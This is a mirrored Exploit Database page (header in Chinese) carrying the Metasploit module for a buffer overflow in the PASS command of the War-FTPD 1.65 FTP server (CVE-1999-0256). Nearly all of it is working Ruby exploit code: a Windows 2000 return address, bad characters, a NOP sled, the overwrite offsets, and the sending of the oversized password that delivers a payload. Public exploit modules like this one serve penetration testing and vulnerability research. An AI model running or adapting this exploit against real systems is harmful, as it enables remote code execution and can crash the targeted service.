War-FTPD 1.65 – Password Overflow (Metasploit)

• Exploit Database
• 84 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16706/

• ##
  # $Id: warftpd_165_pass.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'War-FTPD 1.65 Password Overflow',
  			'Description'=> %q{
  					This exploits the buffer overflow found in the PASS command
  				in War-FTPD 1.65. This particular module will only work
  				reliably against Windows 2000 targets. The server must be
  				configured to allow anonymous logins for this exploit to
  				succeed. A failed attempt will bring down the service
  				completely.
  			},
  			'Author' => 'hdm',
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9669 $',
  			'References' =>
  				[
  					[ 'CVE', '1999-0256'],
  					[ 'OSVDB', '875'],
  					[ 'BID', '10078'	],
  					[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process'
  				},
  			'Payload'=>
  				{
  					'Space'=> 424,
  					'BadChars' => "\x00\x0a\x0d\x40",
  					'StackAdjustment' => -3500,
  					'Compat' =>
  						{
  							'ConnectionType' => "-find"
  						}
  				},
  			'Targets'=>
  				[
  					# Target 0
  					[
  						'Windows 2000',
  						{
  							'Platform' => 'win',
  							'Ret'=> 0x5f4e772b # jmp ebx in the included MFC42.DLL
  						},
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Mar 19 1998'))
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		buf= make_nops(566) + payload.encoded
  		buf[558, 2]= "\xeb\x06"
  		buf[562, 4]= [ target.ret ].pack('V')
  
  		# Send USER Command
  		send_user(datastore['FTPUSER'])
  
  		# Send PASS Command
  		send_cmd(['PASS', buf], false)
  
  		handler
  		disconnect
  	end
  
  end
  

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